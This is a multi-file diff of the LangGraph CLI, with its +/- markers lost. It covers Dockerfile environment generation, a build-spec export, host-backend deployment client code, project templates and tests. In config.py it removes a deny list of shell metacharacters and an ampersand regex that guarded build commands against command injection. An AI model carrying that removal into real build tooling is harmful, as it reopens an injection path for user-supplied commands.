integrity sha512-YwPsNSqU2f/RXU/+Kcb7cPkPZARxom4+me7LKEdN5jsvy2tpfze3zDZ4EiGrJnvOm9Avu9rK0aaYsP7qZ3iz7A==
turbo@^2.8.10:
version "2.8.10"
resolved "https://registry.yarnpkg.com/turbo/-/turbo-2.8.10.tgz#4ead3ef7c2fd80f9fe367f9a8b88b8a819fb5065"
integrity sha512-OxbzDES66+x7nnKGg2MwBA1ypVsZoDTLHpeaP4giyiHSixbsiTaMyeJqbEyvBdp5Cm28fc+8GG6RdQtic0ijwQ==
optionalDependencies:
turbo-darwin-64 "2.8.17"
turbo-darwin-arm64 "2.8.17"
turbo-linux-64 "2.8.17"
turbo-linux-arm64 "2.8.17"
turbo-windows-64 "2.8.17"
turbo-windows-arm64 "2.8.17"
turbo-darwin-64 "2.8.10"
turbo-darwin-arm64 "2.8.10"
turbo-linux-64 "2.8.10"
turbo-linux-arm64 "2.8.10"
turbo-windows-64 "2.8.10"
turbo-windows-arm64 "2.8.10"
type-check@^0.4.0, type-check@~0.4.0:
version "0.4.0"
@@ -1971,11 +1984,6 @@ uuid@^10.0.0:
resolved "https://registry.yarnpkg.com/uuid/-/uuid-10.0.0.tgz#5a95aa454e6e002725c79055fd42aaba30ca6294"
integrity sha512-8XkAphELsDnEGrDxUOHB3RGvXz6TeuYSGEZBOjtTtPm2lwhGBjLgOzLHB63IUWfBpNucQjND6d3AOudO+H3RWQ==
uuid@^11.1.0:
version "11.1.0"
resolved "https://registry.yarnpkg.com/uuid/-/uuid-11.1.0.tgz#9549028be1753bb934fc96e2bca09bb4105ae912"
integrity sha512-0/A9rDy9P7cJ+8w1c9WD9V//9Wj15Ce2MPz8Ri6032usz+NfePxx5AcN3bN+r6ZL6jEo066/yNYB3tn4pQEx+A==
uuid@^13.0.0:
version "13.0.0"
resolved "https://registry.yarnpkg.com/uuid/-/uuid-13.0.0.tgz#263dc341b19b4d755eb8fe36b78d95a6b65707e8"
+1 -1
View File
@@ -1 +1 @@
__version__ = "0.4.18"
__version__ = "0.4.13"
File diff suppressed because it is too large Load Diff
+100 -161
View File
@@ -1,11 +1,10 @@
import copy
import json
import os
import pathlib
import re
import textwrap
from collections import Counter
from typing import Literal, NamedTuple
from typing import Any, Literal, NamedTuple
import click
@@ -14,36 +13,6 @@ from langgraph_cli.schemas import Config, Distros
MIN_NODE_VERSION = "20"
DEFAULT_NODE_VERSION = "20"
DISALLOWED_BUILD_COMMAND_CHARS = [
'"',
"`",
"\\",
"\n",
"\r",
"\0",
"\t",
"|",
";",
"$",
">",
"<",
]
# Regex pattern matching a single "&" that is NOT part of "&&".
# This blocks background execution (cmd &) while allowing command
# chaining (cmd1 && cmd2) which is common in build commands.
_SINGLE_AMPERSAND_RE = re.compile(r"(?<!&)&(?:&&)*(?!&)")
def has_disallowed_build_command_content(command: str) -> bool:
"""Check if a command string contains disallowed characters or patterns."""
if any(char in command for char in DISALLOWED_BUILD_COMMAND_CHARS):
return True
if _SINGLE_AMPERSAND_RE.search(command):
return True
return False
MIN_PYTHON_VERSION = "3.11"
DEFAULT_PYTHON_VERSION = "3.11"
@@ -905,6 +874,55 @@ def get_build_tools_to_uninstall(config: Config) -> tuple[str]:
)
def _build_langgraph_env(
config: Config, *, runtime: Literal["python", "node"]
) -> dict[str, str]:
"""Build runtime environment variables that are serialized from config."""
env_map: dict[str, str] = {}
if (store_config := config.get("store")) is not None:
env_map["LANGGRAPH_STORE"] = json.dumps(store_config)
if (auth_config := config.get("auth")) is not None:
env_map["LANGGRAPH_AUTH"] = json.dumps(auth_config)
if (encryption_config := config.get("encryption")) is not None:
env_map["LANGGRAPH_ENCRYPTION"] = json.dumps(encryption_config)
if (http_config := config.get("http")) is not None:
env_map["LANGGRAPH_HTTP"] = json.dumps(http_config)
if (webhooks_config := config.get("webhooks")) is not None:
env_map["LANGGRAPH_WEBHOOKS"] = json.dumps(webhooks_config)
if (checkpointer_config := config.get("checkpointer")) is not None:
env_map["LANGGRAPH_CHECKPOINTER"] = json.dumps(checkpointer_config)
# Keep Python/Node behavior consistent with current Dockerfile generation:
# Python emits UI vars when explicitly set (including empty dict), while
# Node currently emits them only when truthy.
if runtime == "python":
if (ui := config.get("ui")) is not None:
env_map["LANGGRAPH_UI"] = json.dumps(ui)
if (ui_config := config.get("ui_config")) is not None:
env_map["LANGGRAPH_UI_CONFIG"] = json.dumps(ui_config)
else:
if ui := config.get("ui"):
env_map["LANGGRAPH_UI"] = json.dumps(ui)
if ui_config := config.get("ui_config"):
env_map["LANGGRAPH_UI_CONFIG"] = json.dumps(ui_config)
env_map["LANGSERVE_GRAPHS"] = json.dumps(config["graphs"])
return env_map
def _extract_workdir(dockerfile: str) -> str | None:
for line in dockerfile.splitlines():
if line.startswith("WORKDIR "):
return line.removeprefix("WORKDIR ").strip() or None
return None
def python_config_to_docker(
config_path: pathlib.Path,
config: Config,
@@ -1037,36 +1055,8 @@ ADD {relpath} /deps/{name}
)
)
env_vars = []
if (store_config := config.get("store")) is not None:
env_vars.append(f"ENV LANGGRAPH_STORE='{json.dumps(store_config)}'")
if (auth_config := config.get("auth")) is not None:
env_vars.append(f"ENV LANGGRAPH_AUTH='{json.dumps(auth_config)}'")
if (encryption_config := config.get("encryption")) is not None:
env_vars.append(f"ENV LANGGRAPH_ENCRYPTION='{json.dumps(encryption_config)}'")
if (http_config := config.get("http")) is not None:
env_vars.append(f"ENV LANGGRAPH_HTTP='{json.dumps(http_config)}'")
# Inject webhooks configuration if provided
if (webhooks_config := config.get("webhooks")) is not None:
env_vars.append(f"ENV LANGGRAPH_WEBHOOKS='{json.dumps(webhooks_config)}'")
if (checkpointer_config := config.get("checkpointer")) is not None:
env_vars.append(
f"ENV LANGGRAPH_CHECKPOINTER='{json.dumps(checkpointer_config)}'"
)
if (ui := config.get("ui")) is not None:
env_vars.append(f"ENV LANGGRAPH_UI='{json.dumps(ui)}'")
if (ui_config := config.get("ui_config")) is not None:
env_vars.append(f"ENV LANGGRAPH_UI_CONFIG='{json.dumps(ui_config)}'")
env_vars.append(f"ENV LANGSERVE_GRAPHS='{json.dumps(config['graphs'])}'")
env_map = _build_langgraph_env(config, runtime="python")
env_vars = [f"ENV {key}='{value}'" for key, value in env_map.items()]
js_inst_str: str = ""
if (config.get("ui") or config.get("node_version")) and local_deps.working_dir:
@@ -1168,36 +1158,8 @@ def node_config_to_docker(
image_str = docker_tag(config, base_image, api_version)
env_vars: list[str] = []
if (store_config := config.get("store")) is not None:
env_vars.append(f"ENV LANGGRAPH_STORE='{json.dumps(store_config)}'")
if (auth_config := config.get("auth")) is not None:
env_vars.append(f"ENV LANGGRAPH_AUTH='{json.dumps(auth_config)}'")
if (encryption_config := config.get("encryption")) is not None:
env_vars.append(f"ENV LANGGRAPH_ENCRYPTION='{json.dumps(encryption_config)}'")
if (http_config := config.get("http")) is not None:
env_vars.append(f"ENV LANGGRAPH_HTTP='{json.dumps(http_config)}'")
# Inject webhooks configuration if provided
if (webhooks_config := config.get("webhooks")) is not None:
env_vars.append(f"ENV LANGGRAPH_WEBHOOKS='{json.dumps(webhooks_config)}'")
if (checkpointer_config := config.get("checkpointer")) is not None:
env_vars.append(
f"ENV LANGGRAPH_CHECKPOINTER='{json.dumps(checkpointer_config)}'"
)
if ui := config.get("ui"):
env_vars.append(f"ENV LANGGRAPH_UI='{json.dumps(ui)}'")
if ui_config := config.get("ui_config"):
env_vars.append(f"ENV LANGGRAPH_UI_CONFIG='{json.dumps(ui_config)}'")
env_vars.append(f"ENV LANGSERVE_GRAPHS='{json.dumps(config['graphs'])}'")
env_map = _build_langgraph_env(config, runtime="node")
env_vars = [f"ENV {key}='{value}'" for key, value in env_map.items()]
# For monorepo support, we need to handle install and build commands differently
if build_context:
@@ -1233,15 +1195,11 @@ def node_config_to_docker(
return os.linesep.join(docker_file_contents), {}
def default_base_image(
config: Config, engine_runtime_mode: str = "combined_queue_worker"
) -> str:
def default_base_image(config: Config) -> str:
if config.get("base_image"):
return config["base_image"]
if config.get("node_version") and not config.get("python_version"):
return "langchain/langgraphjs-api"
if engine_runtime_mode == "distributed":
return "langchain/langgraph-executor"
return "langchain/langgraph-api"
@@ -1327,6 +1285,50 @@ def config_to_docker(
)
def config_to_build_spec(
config_path: pathlib.Path,
config: Config,
*,
base_image: str | None = None,
api_version: str | None = None,
install_command: str | None = None,
build_command: str | None = None,
build_context: str | None = None,
) -> dict[str, Any]:
"""Generate a machine-readable, versioned build specification."""
# Normalize via JSON round-trip to avoid mutating the caller's dictionary.
normalized: Config = json.loads(json.dumps(config))
is_node_runtime = bool(
normalized.get("node_version") and not normalized.get("python_version")
)
runtime: Literal["python", "node"] = "node" if is_node_runtime else "python"
resolved_base_image = docker_tag(normalized, base_image, api_version)
dockerfile, additional_contexts = config_to_docker(
config_path=config_path,
config=normalized,
base_image=base_image,
api_version=api_version,
install_command=install_command,
build_command=build_command,
build_context=build_context,
)
env_map = _build_langgraph_env(normalized, runtime=runtime)
return {
"schema_version": 1,
"kind": "langgraph.build_spec",
"runtime": runtime,
"resolved_base_image": resolved_base_image,
"build_context": build_context,
"additional_contexts": additional_contexts,
"env": env_map,
"graphs": normalized["graphs"],
"working_dir": _extract_workdir(dockerfile),
"dockerfile": dockerfile,
}
def config_to_compose(
config_path: pathlib.Path,
config: Config,
@@ -1334,7 +1336,6 @@ def config_to_compose(
api_version: str | None = None,
image: str | None = None,
watch: bool = False,
engine_runtime_mode: str = "combined_queue_worker",
) -> str:
base_image = base_image or default_base_image(config)
@@ -1368,11 +1369,6 @@ def config_to_compose(
"""
else:
# Save a pristine copy before config_to_docker mutates graph paths
config_snapshot = (
copy.deepcopy(config) if engine_runtime_mode == "distributed" else None
)
dockerfile, additional_contexts = config_to_docker(
config_path=config_path,
config=config,
@@ -1390,7 +1386,7 @@ def config_to_compose(
additional_contexts:
{additional_contexts_str}"""
result = f"""
return f"""
{textwrap.indent(env_vars_str, " ")}
{env_file_str}
pull_policy: build
@@ -1400,60 +1396,3 @@ def config_to_compose(
{textwrap.indent(dockerfile, " ")}
{watch_str}
"""
if engine_runtime_mode == "distributed":
executor_base_image = default_base_image(
config_snapshot, engine_runtime_mode="distributed"
)
executor_dockerfile, executor_additional_contexts = config_to_docker(
config_path=config_path,
config=config_snapshot,
base_image=executor_base_image,
api_version=api_version,
escape_variables=True,
)
executor_additional_contexts_str = "\n".join(
f" - {name}: {path}"
for name, path in executor_additional_contexts.items()
)
if executor_additional_contexts_str:
executor_additional_contexts_str = f"""
additional_contexts:
{executor_additional_contexts_str}"""
postgres_uri = "postgres://postgres:postgres@langgraph-postgres:5432/postgres?sslmode=disable"
result += f""" langgraph-orchestrator:
image: langchain/langgraph-orchestrator-licensed:latest
depends_on:
langgraph-api:
condition: service_healthy
langgraph-postgres:
condition: service_healthy
environment:
DATABASE_URI: {postgres_uri}
EXECUTOR_TARGET: langgraph-executor:8188
{env_file_str}
langgraph-executor:
depends_on:
langgraph-postgres:
condition: service_healthy
langgraph-api:
condition: service_healthy
entrypoint: ["sh", "/storage/executor_entrypoint.sh"]
environment:
DATABASE_URI: {postgres_uri}
REDIS_URI: redis://langgraph-redis:6379
EXECUTOR_GRPC_PORT: "8188"
ENGINE_GRPC_ADDRESS: "langgraph-orchestrator:50054"
LSD_GRPC_SERVER_ADDRESS: "localhost:50050"
LANGGRAPH_HTTP: ""
{env_file_str}
pull_policy: build
build:
context: .{executor_additional_contexts_str}
dockerfile_inline: |
{textwrap.indent(executor_dockerfile, " ")}
"""
return result
+4 -11
View File
@@ -149,7 +149,6 @@ def compose_as_dict(
base_image: str | None = None,
# API version of the base image
api_version: str | None = None,
engine_runtime_mode: str = "combined_queue_worker",
) -> dict:
"""Create a docker compose file as a dictionary in YML style."""
if postgres_uri is None:
@@ -208,19 +207,15 @@ def compose_as_dict(
)["langgraph-debugger"]
# Add langgraph-api service
api_environment = {
"REDIS_URI": "redis://langgraph-redis:6379",
"POSTGRES_URI": postgres_uri,
}
if engine_runtime_mode == "distributed":
api_environment["N_JOBS_PER_WORKER"] = '"0"'
services["langgraph-api"] = {
"ports": [f'"{port}:8000"'],
"depends_on": {
"langgraph-redis": {"condition": "service_healthy"},
},
"environment": api_environment,
"environment": {
"REDIS_URI": "redis://langgraph-redis:6379",
"POSTGRES_URI": postgres_uri,
},
}
if image:
services["langgraph-api"]["image"] = image
@@ -260,7 +255,6 @@ def compose(
image: str | None = None,
base_image: str | None = None,
api_version: str | None = None,
engine_runtime_mode: str = "combined_queue_worker",
) -> str:
"""Create a docker compose file as a string."""
compose_content = compose_as_dict(
@@ -272,7 +266,6 @@ def compose(
image=image,
base_image=base_image,
api_version=api_version,
engine_runtime_mode=engine_runtime_mode,
)
compose_str = dict_to_yaml(compose_content)
return compose_str
-59
View File
@@ -1,59 +0,0 @@
"""Helpers for the ``langgraph logs`` CLI command."""
from __future__ import annotations
from datetime import datetime, timezone
import click
from langgraph_cli.host_backend import HostBackendClient
def resolve_deployment_id(
client: HostBackendClient,
deployment_id: str | None,
name: str | None,
) -> str:
"""Resolve a deployment ID from --deployment-id or --name."""
if deployment_id:
return deployment_id
if not name:
raise click.UsageError("Either --deployment-id or --name is required.")
existing = client.list_deployments(name_contains=name)
if isinstance(existing, dict):
for dep in existing.get("resources", []):
if isinstance(dep, dict) and dep.get("name") == name:
found_id = dep.get("id")
if found_id:
return str(found_id)
raise click.ClickException(f"Deployment '{name}' not found.")
def format_timestamp(ts) -> str:
"""Convert a timestamp (epoch ms or string) to a readable string."""
if isinstance(ts, (int, float)):
dt = datetime.fromtimestamp(ts / 1000, tz=timezone.utc)
return dt.strftime("%Y-%m-%d %H:%M:%S")
return str(ts) if ts else ""
def format_log_entry(entry: dict) -> str:
"""Format a single log entry for display."""
ts = format_timestamp(entry.get("timestamp", ""))
level = entry.get("level", "")
message = entry.get("message", "")
if ts and level:
return f"[{ts}] [{level}] {message}"
elif ts:
return f"[{ts}] {message}"
return message
def level_fg(level: str) -> str | None:
"""Return click color for a log level."""
level_upper = level.upper() if level else ""
if level_upper in {"ERROR", "CRITICAL"}:
return "red"
if level_upper == "WARNING":
return "yellow"
return None
-143
View File
@@ -1,143 +0,0 @@
"""HTTP client for LangGraph host backend deployments."""
from __future__ import annotations
from typing import Any
import click
import httpx
class HostBackendError(click.ClickException):
"""Raised when the host backend returns an error response."""
def __init__(self, message: str, status_code: int | None = None):
super().__init__(message)
self.status_code = status_code
class HostBackendClient:
"""Minimal JSON HTTP client for the host backend deployment service."""
def __init__(
self,
base_url: str,
api_key: str,
tenant_id: str | None = None,
):
if not base_url:
raise click.UsageError("Host backend URL is required")
transport = httpx.HTTPTransport(retries=3)
headers: dict[str, str] = {
"X-Api-Key": api_key,
"Accept": "application/json",
}
if tenant_id:
headers["X-Tenant-ID"] = tenant_id
self._base_url = base_url.rstrip("/")
self._client = httpx.Client(
base_url=self._base_url,
headers=headers,
transport=transport,
timeout=30,
)
def _request(
self,
method: str,
path: str,
payload: dict[str, Any] | None = None,
params: dict[str, Any] | None = None,
) -> Any:
try:
resp = self._client.request(method, path, json=payload, params=params)
resp.raise_for_status()
except httpx.HTTPStatusError as err:
detail = err.response.text or str(err.response.status_code)
raise HostBackendError(
f"{method} {path} failed with status {err.response.status_code}: {detail}",
status_code=err.response.status_code,
) from None
except httpx.TransportError as err:
raise HostBackendError(str(err)) from None
if not resp.content:
return None
try:
return resp.json()
except ValueError as err:
raise HostBackendError(
f"Failed to decode response from {path}: {err}"
) from None
def create_deployment(self, payload: dict[str, Any]) -> dict[str, Any]:
return self._request("POST", "/v2/deployments", payload)
def list_deployments(self, name_contains: str = "") -> dict[str, Any]:
return self._request(
"GET",
"/v2/deployments",
params={"name_contains": name_contains},
)
def get_deployment(self, deployment_id: str) -> dict[str, Any]:
return self._request("GET", f"/v2/deployments/{deployment_id}")
def delete_deployment(self, deployment_id: str) -> None:
return self._request("DELETE", f"/v2/deployments/{deployment_id}")
def request_push_token(self, deployment_id: str) -> dict[str, Any]:
return self._request(
"POST",
f"/v2/deployments/{deployment_id}/push-token",
)
def update_deployment(
self,
deployment_id: str,
image_uri: str,
secrets: list[dict[str, str]] | None = None,
) -> dict[str, Any]:
payload: dict[str, Any] = {
"source_revision_config": {"image_uri": image_uri},
}
if secrets is not None:
payload["secrets"] = secrets
return self._request(
"PATCH",
f"/v2/deployments/{deployment_id}",
payload,
)
def list_revisions(self, deployment_id: str, limit: int = 1) -> dict[str, Any]:
return self._request(
"GET",
f"/v2/deployments/{deployment_id}/revisions?limit={limit}",
)
def get_revision(self, deployment_id: str, revision_id: str) -> dict[str, Any]:
return self._request(
"GET",
f"/v2/deployments/{deployment_id}/revisions/{revision_id}",
)
def get_build_logs(
self, project_id: str, revision_id: str, payload: dict[str, Any]
) -> Any:
return self._request(
"POST",
f"/v1/projects/{project_id}/revisions/{revision_id}/build_logs",
payload,
)
def get_deploy_logs(
self,
project_id: str,
payload: dict[str, Any],
revision_id: str | None = None,
) -> Any:
if revision_id:
path = f"/v1/projects/{project_id}/revisions/{revision_id}/deploy_logs"
else:
path = f"/v1/projects/{project_id}/deploy_logs"
return self._request("POST", path, payload)
+6 -25
View File
@@ -12,12 +12,8 @@ class Progress:
while True:
yield from "|/-\\"
def __init__(self, *, message="", elapsed: bool = False):
def __init__(self, *, message=""):
self.message = message
self._base_message = message
self._show_elapsed = elapsed
# use this to make sure we don't kill thread when we set msg to ""
self._stop = threading.Event()
self.spinner_generator = self.spinning_cursor()
def spinner_iteration(self):
@@ -33,23 +29,9 @@ class Progress:
)
sys.stdout.flush()
def _format_elapsed(self, seconds: float) -> str:
mins, secs = divmod(int(seconds), 60)
if mins:
return f"{self._base_message} ({mins}m {secs:02d}s)"
return f"{self._base_message} ({secs}s)"
def spinner_task(self):
start = time.monotonic()
while not self._stop.is_set():
if not self.message:
time.sleep(self.delay)
continue
if self._show_elapsed:
self.message = self._format_elapsed(time.monotonic() - start)
while self.message:
message = self.message
if not message:
continue
sys.stdout.write(next(self.spinner_generator) + " " + message)
sys.stdout.flush()
time.sleep(self.delay)
@@ -68,22 +50,21 @@ class Progress:
def set_message(message):
self.message = message
self._base_message = message or self._base_message
if not message:
self.thread.join()
return set_message
else:
def set_message(message):
if message:
sys.stderr.write(message + "\n")
sys.stderr.flush()
sys.stderr.write(message + "\n")
sys.stderr.flush()
return set_message
def __exit__(self, exception, value, tb):
if sys.stdout.isatty():
self.message = ""
self._stop.set()
try:
self.thread.join()
finally:
+4 -30
View File
@@ -128,7 +128,7 @@ class SerdeConfig(TypedDict, total=False):
If omitted, no serde is set up (the object store will still be present, however)."""
allowed_json_modules: list[list[str]] | bool | None
"""Optional. List of allowed python modules to de-serialize custom objects from JSON.
"""Optional. List of allowed python modules to de-serialize custom objects from.
If provided, only the specified modules will be allowed to be deserialized.
If omitted, no modules are allowed, and the object returned will simply be a json object OR
@@ -148,34 +148,7 @@ class SerdeConfig(TypedDict, total=False):
Example:
{...
"serde": {
"allowed_json_modules": True
}
}
"""
allowed_msgpack_modules: list[list[str]] | bool | None
"""Optional. List of allowed python modules to de-serialize custom objects from msgpack.
Known safe types (langgraph.checkpoint.serde.jsonplus.SAFE_MSGPACK_TYPES) are always
allowed regardless of this setting. Use this to allowlist your custom Pydantic models,
dataclasses, and other user-defined types.
If True (default), unregistered types will log a warning but still be deserialized.
If None, only known safe types will be deserialized; unregistered types will be blocked.
Example - allowlist specific types (no warnings for these):
{...
"serde": {
"allowed_msgpack_modules": [
["my_agent.models", "MyState"],
]
}
}
Example - strict mode (only safe types allowed):
{...
"serde": {
"allowed_msgpack_modules": null
"allowed_json_modules": true
}
}
@@ -355,7 +328,8 @@ class EncryptionConfig(TypedDict, total=False):
"""Configuration for custom at-rest encryption logic.
Allows you to implement custom encryption for sensitive data stored in the database,
including metadata fields and checkpoint blobs."""
including metadata fields and checkpoint blobs.
"""
path: str
"""Required. Path to an instance of the Encryption() class that implements custom encryption handlers.
+55 -19
View File
@@ -8,20 +8,31 @@ from zipfile import ZipFile
import click
TEMPLATES: dict[str, dict[str, str]] = {
"Deep Agent": {
"description": "An opinionated deployment template for a Deep Agent.",
"python": "https://github.com/langchain-ai/deep-agent-template/archive/refs/heads/main.zip",
"js": "https://github.com/langchain-ai/deep-agent-template-js/archive/refs/heads/main.zip",
},
"Agent": {
"description": "A simple agent that can be flexibly extended to many tools.",
"python": "https://github.com/langchain-ai/simple-agent-template/archive/refs/heads/main.zip",
},
"New LangGraph Project": {
"description": "A simple, minimal chatbot with memory.",
"python": "https://github.com/langchain-ai/new-langgraph-project/archive/refs/heads/main.zip",
"js": "https://github.com/langchain-ai/new-langgraphjs-project/archive/refs/heads/main.zip",
},
"ReAct Agent": {
"description": "A simple agent that can be flexibly extended to many tools.",
"python": "https://github.com/langchain-ai/react-agent/archive/refs/heads/main.zip",
"js": "https://github.com/langchain-ai/react-agent-js/archive/refs/heads/main.zip",
},
"Memory Agent": {
"description": "A ReAct-style agent with an additional tool to store memories for use across conversational threads.",
"python": "https://github.com/langchain-ai/memory-agent/archive/refs/heads/main.zip",
"js": "https://github.com/langchain-ai/memory-agent-js/archive/refs/heads/main.zip",
},
"Retrieval Agent": {
"description": "An agent that includes a retrieval-based question-answering system.",
"python": "https://github.com/langchain-ai/retrieval-agent-template/archive/refs/heads/main.zip",
"js": "https://github.com/langchain-ai/retrieval-agent-template-js/archive/refs/heads/main.zip",
},
"Data-enrichment Agent": {
"description": "An agent that performs web searches and organizes its findings into a structured format.",
"python": "https://github.com/langchain-ai/data-enrichment/archive/refs/heads/main.zip",
"js": "https://github.com/langchain-ai/data-enrichment-js/archive/refs/heads/main.zip",
},
}
# Generate TEMPLATE_IDS programmatically
@@ -67,25 +78,19 @@ def _choose_template() -> str:
click.secho("❌ Invalid choice. Please try again.", fg="red")
return _choose_template()
template_info = TEMPLATES[selected_template]
available_langs = [lang for lang in ("python", "js") if lang in template_info]
# Prompt the user to choose between Python or JS/TS version
click.secho(
f"\nYou selected: {selected_template} - {template_info['description']}",
f"\nYou selected: {selected_template} - {TEMPLATES[selected_template]['description']}",
fg="green",
)
if len(available_langs) == 1:
return template_info[available_langs[0]]
version_choice: int = click.prompt(
"Choose language (1 for Python 🐍, 2 for JS/TS 🌐)", type=int
)
if version_choice == 1:
return template_info["python"]
return TEMPLATES[selected_template]["python"]
elif version_choice == 2:
return template_info["js"]
return TEMPLATES[selected_template]["js"]
else:
click.secho("❌ Invalid choice. Please try again.", fg="red")
return _choose_template()
@@ -125,6 +130,37 @@ def _download_repo_with_requests(repo_url: str, path: str) -> None:
sys.exit(1)
def _get_template_url(template_name: str) -> str | None:
"""
Retrieves the template URL based on the provided template name.
Args:
template_name: The name of the template.
Returns:
Optional[str]: The URL of the template if found, else None.
"""
if template_name in TEMPLATES:
click.secho(f"Template selected: {template_name}", fg="green")
version_choice: int = click.prompt(
"Choose version (1 for Python 🐍, 2 for JS/TS 🌐)", type=int
)
if version_choice == 1:
return TEMPLATES[template_name]["python"]
elif version_choice == 2:
return TEMPLATES[template_name]["js"]
else:
click.secho("❌ Invalid choice. Please try again.", fg="red")
return None
else:
click.secho(
f"Template '{template_name}' not found. Please select from the available options.",
fg="red",
)
return None
def create_new(path: str | None, template: str | None) -> None:
"""Create a new LangGraph project at the specified PATH using the chosen TEMPLATE.
-34
View File
@@ -1,5 +1,3 @@
from collections.abc import Sequence
import click
@@ -25,35 +23,3 @@ def warn_non_wolfi_distro(config_json: dict) -> None:
fg="yellow",
)
click.secho("") # Empty line for better readability
def _extract_deployment_url(deployment: dict[str, object]) -> str:
source_config = deployment.get("source_config")
if isinstance(source_config, dict):
custom_url = source_config.get("custom_url")
if isinstance(custom_url, str) and custom_url:
return custom_url
return "-"
def format_deployments_table(deployments: Sequence[dict[str, object]]) -> str:
headers = ("Deployment ID", "Deployment Name", "Deployment URL")
rows = [
(
str(deployment.get("id", "-") or "-"),
str(deployment.get("name", "-") or "-"),
_extract_deployment_url(deployment),
)
for deployment in deployments
]
widths = [
max(len(headers[index]), *(len(row[index]) for row in rows))
for index in range(len(headers))
]
def format_row(row: Sequence[str]) -> str:
return " ".join(value.ljust(widths[index]) for index, value in enumerate(row))
lines = [format_row(headers), format_row(tuple("-" * width for width in widths))]
lines.extend(format_row(row) for row in rows)
return "\n".join(lines)
+1 -2
View File
@@ -13,9 +13,7 @@ license = "MIT"
license-files = ['LICENSE']
dependencies = [
"click>=8.1.7",
"httpx>=0.24.0",
"langgraph-sdk>=0.1.0 ; python_version >= '3.11'",
"python-dotenv>=0.8.0",
]
[tool.hatch.version]
path = "langgraph_cli/__init__.py"
@@ -23,6 +21,7 @@ path = "langgraph_cli/__init__.py"
inmem = [
"langgraph-api>=0.5.35,<0.8.0 ; python_version >= '3.11'",
"langgraph-runtime-inmem>=0.7 ; python_version >= '3.11'",
"python-dotenv>=0.8.0",
]
[project.urls]
+1 -21
View File
@@ -608,27 +608,7 @@
"type": "null"
}
],
"description": "Optional. List of allowed python modules to de-serialize custom objects from JSON.\n\nIf provided, only the specified modules will be allowed to be deserialized.\nIf omitted, no modules are allowed, and the object returned will simply be a json object OR\na deserialized langchain object.\n"
},
"allowed_msgpack_modules": {
"anyOf": [
{
"type": "array",
"items": {
"type": "array",
"items": {
"type": "string"
}
}
},
{
"type": "boolean"
},
{
"type": "null"
}
],
"description": "Optional. List of allowed python modules to de-serialize custom objects from msgpack.\n\nKnown safe types (langgraph.checkpoint.serde.jsonplus.SAFE_MSGPACK_TYPES) are always\nallowed regardless of this setting. Use this to allowlist your custom Pydantic models,\ndataclasses, and other user-defined types.\n\nIf True (default), unregistered types will log a warning but still be deserialized.\nIf None, only known safe types will be deserialized; unregistered types will be blocked.\n\n{...\n[\"my_agent.models\", \"MyState\"],\n]\n}\n}\n\n{...\n}\n}\n\n"
"description": "Optional. List of allowed python modules to de-serialize custom objects from.\n\nIf provided, only the specified modules will be allowed to be deserialized.\nIf omitted, no modules are allowed, and the object returned will simply be a json object OR\na deserialized langchain object.\n"
},
"pickle_fallback": {
"type": "boolean",
+1 -21
View File
@@ -608,27 +608,7 @@
"type": "null"
}
],
"description": "Optional. List of allowed python modules to de-serialize custom objects from JSON.\n\nIf provided, only the specified modules will be allowed to be deserialized.\nIf omitted, no modules are allowed, and the object returned will simply be a json object OR\na deserialized langchain object.\n"
},
"allowed_msgpack_modules": {
"anyOf": [
{
"type": "array",
"items": {
"type": "array",
"items": {
"type": "string"
}
}
},
{
"type": "boolean"
},
{
"type": "null"
}
],
"description": "Optional. List of allowed python modules to de-serialize custom objects from msgpack.\n\nKnown safe types (langgraph.checkpoint.serde.jsonplus.SAFE_MSGPACK_TYPES) are always\nallowed regardless of this setting. Use this to allowlist your custom Pydantic models,\ndataclasses, and other user-defined types.\n\nIf True (default), unregistered types will log a warning but still be deserialized.\nIf None, only known safe types will be deserialized; unregistered types will be blocked.\n\n{...\n[\"my_agent.models\", \"MyState\"],\n]\n}\n}\n\n{...\n}\n}\n\n"
"description": "Optional. List of allowed python modules to de-serialize custom objects from.\n\nIf provided, only the specified modules will be allowed to be deserialized.\nIf omitted, no modules are allowed, and the object returned will simply be a json object OR\na deserialized langchain object.\n"
},
"pickle_fallback": {
"type": "boolean",
+130 -357
View File
@@ -9,7 +9,6 @@ from pathlib import Path
from click.testing import CliRunner
import langgraph_cli.cli as cli_module
from langgraph_cli.cli import cli, prepare_args_and_stdin
from langgraph_cli.config import Config, _get_pip_cleanup_lines, validate_config
from langgraph_cli.docker import DEFAULT_POSTGRES_URI, DockerCapabilities, Version
@@ -288,236 +287,146 @@ def test_version_option() -> None:
)
def test_top_level_help_shows_deploy_subcommands() -> None:
def test_build_spec_export_command_python_to_stdout() -> None:
runner = CliRunner()
result = runner.invoke(cli, ["--help"])
assert result.exit_code == 0, result.output
assert "deploy" in result.output
assert "deploy list" in result.output
assert "deploy delete" in result.output
assert "[Beta] List LangSmith Deployments." in result.output
def test_top_level_help_truncates_command_descriptions_to_single_line() -> None:
runner = CliRunner()
result = runner.invoke(cli, ["--help"])
assert result.exit_code == 0, result.output
lines = result.output.splitlines()
deploy_line = next(line for line in lines if line.strip().startswith("deploy"))
deploy_list_line = next(
line for line in lines if line.strip().startswith("deploy list")
)
assert not lines[lines.index(deploy_line) + 1].startswith(" ")
assert "..." in deploy_line
assert "[Beta] List LangSmith Deployments." in deploy_list_line
def test_deploy_list_command(monkeypatch) -> None:
runner = CliRunner()
captured: dict[str, str] = {}
class FakeClient:
def __init__(self, host_url: str, api_key: str, tenant_id: str | None = None):
captured["host_url"] = host_url
captured["api_key"] = api_key
captured["tenant_id"] = tenant_id or ""
def list_deployments(self, name_contains: str = ""):
captured["name_contains"] = name_contains
return {
"resources": [
{
"id": "dep-123",
"name": "alpha",
"source_config": {"custom_url": "https://alpha.example.com"},
},
{
"id": "dep-456",
"name": "beta",
"source_config": {"custom_url": "https://beta.example.com"},
},
]
}
monkeypatch.setattr(cli_module, "HostBackendClient", FakeClient)
result = runner.invoke(
cli,
[
"deploy",
"list",
"--api-key",
"test-key",
"--host-url",
"https://api.example.com",
"--name-contains",
"alp",
],
)
assert result.exit_code == 0, result.output
assert captured == {
"host_url": "https://api.example.com",
"api_key": "test-key",
"tenant_id": "",
"name_contains": "alp",
config_content = {
"python_version": "3.11",
"image_distro": "wolfi",
"graphs": {"agent": "agent.py:graph"},
"dependencies": ["."],
}
assert "Deployment ID" in result.output
assert "Deployment Name" in result.output
assert "Deployment URL" in result.output
assert "dep-123" in result.output
assert "https://beta.example.com" in result.output
with temporary_config_folder(config_content) as temp_dir:
(temp_dir / "agent.py").touch()
result = runner.invoke(
cli,
["build-spec", "export", "--config", str(temp_dir / "config.json")],
)
assert result.exit_code == 0, result.output
